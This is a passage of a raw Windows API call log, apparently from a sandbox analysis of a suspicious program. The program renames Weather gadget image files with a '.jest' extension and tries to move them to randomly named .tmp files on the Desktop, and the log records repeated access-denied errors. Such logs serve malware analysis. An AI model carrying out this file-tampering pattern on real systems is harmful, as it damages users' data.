(hWnd=0x30268) returned 0 [0127.934] Sleep (dwMilliseconds=0x0) [0127.936] GetFullPathNameA (in: lpFileName="jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp", lpFilePart=0x18e708*="jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp") returned 0x8e [0127.936] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png", lpFilePart=0x18e708*="25.png") returned 0x4b [0127.937] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\25.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\25.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jxixdbjerwaskqhlpna4sxqnp2oljqcj0jkvpirk_vvwwqcwqtnjews_igo3ltp_ajvg8y4jovn a4gu2fui4c69tk--_amqdtan.tmp")) returned 0 [0127.938] GetLastError () returned 0x5 [0127.938] GetLastError () returned 0x5 [0127.938] SetLastError (dwErrCode=0x5) [0127.938] GetLastError () returned 0x5 [0127.938] SetLastError (dwErrCode=0x5) [0127.939] GetLastError () returned 0x5 [0127.939] SetLastError (dwErrCode=0x5) [0127.939] GetFullPathNameA (in: lpFileName="jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp", lpFilePart=0x18e6e4*="jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp") returned 0x8e [0127.939] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jXIxDBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x7849586a, cFileName="DBjerWASkqhLpNA4sXQNp2oLJqCJ0JKvpIRK_vVwwQCWQTnJEWs_igo3ltp_ajvG8y4JOvn A4Gu2FUi4c69TK--_AmqDtan.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.939] GetLastError () returned 0x2 [0127.939] GetLastError () returned 0x2 [0127.939] SetLastError (dwErrCode=0x2) [0127.939] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.939] CoFreeUnusedLibraries () [0127.940] GetTickCount () returned 0x11526a4 [0127.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.940] GetTickCount () returned 0x11526a4 [0127.940] IsWindowVisible (hWnd=0x30268) returned 0 [0127.940] Sleep (dwMilliseconds=0x0) [0127.941] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png.jest")) returned 0 [0127.943] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png", lpFilePart=0x18e6d8*="24.png") returned 0x4b [0127.943] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc163f09, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc163f09, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x57, dwReserved1=0x0, cFileName="24.png", cAlternateFileName="")) returned 0x143ce48 [0127.944] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.945] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.945] VarBstrFromR4 (in: fltIn=0x479445e5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.79") returned 0x0 [0127.945] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.945] CoFreeUnusedLibraries () [0127.945] GetTickCount () returned 0x11526b3 [0127.945] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.945] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.945] GetTickCount () returned 0x11526b3 [0127.946] IsWindowVisible (hWnd=0x30268) returned 0 [0127.946] Sleep (dwMilliseconds=0x0) [0127.948] GetFullPathNameA (in: lpFileName="9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp", lpFilePart=0x18e708*="9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp") returned 0x8f [0127.948] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png", lpFilePart=0x18e708*="24.png") returned 0x4b [0127.948] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\24.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\24.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9nheoniknvklrltsgcjfxhdfhts6nlecgwh6vitj9qtvjnge0cg0_sa9k0zr9y2rg-lcmpznu2yagjunjcj2uuv5p44aoti_hiuyj.tmp")) returned 0 [0127.950] GetLastError () returned 0x5 [0127.950] GetLastError () returned 0x5 [0127.950] SetLastError (dwErrCode=0x5) [0127.950] GetLastError () returned 0x5 [0127.950] SetLastError (dwErrCode=0x5) [0127.950] GetLastError () returned 0x5 [0127.950] SetLastError (dwErrCode=0x5) [0127.950] GetFullPathNameA (in: lpFileName="9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp", lpFilePart=0x18e6e4*="9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp") returned 0x8f [0127.950] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9NheOnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65684e39, cFileName="OnIKNvkLrLtsGcjFxHDFhTS6nlECgWH6vITj9QtVJNge0CG0_sA9K0zr9Y2rg-lcmPznU2YaGjUNJCJ2uUv5p44aoTI_hiUYj.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.950] GetLastError () returned 0x2 [0127.950] GetLastError () returned 0x2 [0127.950] SetLastError (dwErrCode=0x2) [0127.951] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.951] CoFreeUnusedLibraries () [0127.951] GetTickCount () returned 0x11526b3 [0127.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.951] GetTickCount () returned 0x11526b3 [0127.951] IsWindowVisible (hWnd=0x30268) returned 0 [0127.951] Sleep (dwMilliseconds=0x0) [0127.960] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png.jest")) returned 0 [0127.962] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png", lpFilePart=0x18e6d8*="23.png") returned 0x4b [0127.962] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x15c5, dwReserved0=0x57, dwReserved1=0x0, cFileName="23.png", cAlternateFileName="")) returned 0x143ce48 [0127.963] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.963] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.964] VarBstrFromR4 (in: fltIn=0x479445e7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.8") returned 0x0 [0127.964] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.964] CoFreeUnusedLibraries () [0127.964] GetTickCount () returned 0x11526c3 [0127.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.964] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.964] GetTickCount () returned 0x11526c3 [0127.964] IsWindowVisible (hWnd=0x30268) returned 0 [0127.964] Sleep (dwMilliseconds=0x0) [0127.968] GetFullPathNameA (in: lpFileName="BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp", lpFilePart=0x18e708*="BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp") returned 0x8e [0127.968] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png", lpFilePart=0x18e708*="23.png") returned 0x4b [0127.968] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\23.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\23.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bq g1yzeqzg1yeem -ews_ecdvozmpfg2waxyr8grusrqoqvzjn0am3ogajpqnmp vhssgl65hky-m v_il2b-x2ejsr8m5mlojr.tmp")) returned 0 [0127.971] GetLastError () returned 0x5 [0127.971] GetLastError () returned 0x5 [0127.971] SetLastError (dwErrCode=0x5) [0127.971] GetLastError () returned 0x5 [0127.971] SetLastError (dwErrCode=0x5) [0127.971] GetLastError () returned 0x5 [0127.971] SetLastError (dwErrCode=0x5) [0127.971] GetFullPathNameA (in: lpFileName="BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp", lpFilePart=0x18e6e4*="BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp") returned 0x8e [0127.971] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BQ g1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x67205142, cFileName="1YzeqzG1Yeem -Ews_ecDVozMpFg2waxyr8GRUsRqoqVzjn0AM3ogajpQNmp vHSSGl65hky-M v_il2b-x2eJsR8m5MLojr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.971] GetLastError () returned 0x2 [0127.971] GetLastError () returned 0x2 [0127.971] SetLastError (dwErrCode=0x2) [0127.972] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.972] CoFreeUnusedLibraries () [0127.972] GetTickCount () returned 0x11526c3 [0127.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.972] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.972] GetTickCount () returned 0x11526c3 [0127.972] IsWindowVisible (hWnd=0x30268) returned 0 [0127.972] Sleep (dwMilliseconds=0x0) [0127.973] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png.jest")) returned 0 [0127.975] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png", lpFilePart=0x18e6d8*="28.png") returned 0x4b [0127.975] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1d6326, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc1d6326, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd7320dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x57, dwReserved1=0x0, cFileName="28.png", cAlternateFileName="")) returned 0x143ce48 [0127.976] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.977] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.977] VarBstrFromR4 (in: fltIn=0x479445e9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75915.82") returned 0x0 [0127.977] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.978] CoFreeUnusedLibraries () [0127.978] GetTickCount () returned 0x11526d3 [0127.978] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.978] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.978] GetTickCount () returned 0x11526d3 [0127.978] IsWindowVisible (hWnd=0x30268) returned 0 [0127.978] Sleep (dwMilliseconds=0x0) [0127.978] GetFullPathNameA (in: lpFileName="csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp", lpFilePart=0x18e708*="csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp") returned 0x8f [0127.979] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png", lpFilePart=0x18e708*="28.png") returned 0x4b [0127.979] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\28.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\28.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\csuxdctpvo2d 7_sf0midyopnhjgvyuq ygefd9fm ulfkfmqk3r4rlq5w2tbewaupn4n6e_gil9cv9lnz8qkfhpuq1btoil0293.tmp")) returned 0 [0127.981] GetLastError () returned 0x5 [0127.981] GetLastError () returned 0x5 [0127.981] SetLastError (dwErrCode=0x5) [0127.981] GetLastError () returned 0x5 [0127.981] SetLastError (dwErrCode=0x5) [0127.981] GetLastError () returned 0x5 [0127.981] SetLastError (dwErrCode=0x5) [0127.981] GetFullPathNameA (in: lpFileName="csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp", lpFilePart=0x18e6e4*="csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp") returned 0x8f [0127.981] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\csUxdcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78557363, cFileName="dcTpvo2d 7_Sf0mIdyoPnHJGVYUq ygEFD9fm ULfkfMQK3R4rLQ5w2tBewaUpn4n6E_GIl9CV9lnZ8QkFHpuQ1btoIL0293.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.981] GetLastError () returned 0x2 [0127.981] GetLastError () returned 0x2 [0127.982] SetLastError (dwErrCode=0x2) [0127.982] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.982] CoFreeUnusedLibraries () [0127.982] GetTickCount () returned 0x11526d3 [0127.982] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.982] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.982] GetTickCount () returned 0x11526d3 [0127.982] IsWindowVisible (hWnd=0x30268) returned 0 [0127.982] Sleep (dwMilliseconds=0x0) [0127.985] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images\\27.png.jest")) returned 0 [0127.987] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png", lpFilePart=0x18e6d8*="27.png") returned 0x4b [0127.987] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\27.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc1b01c7, 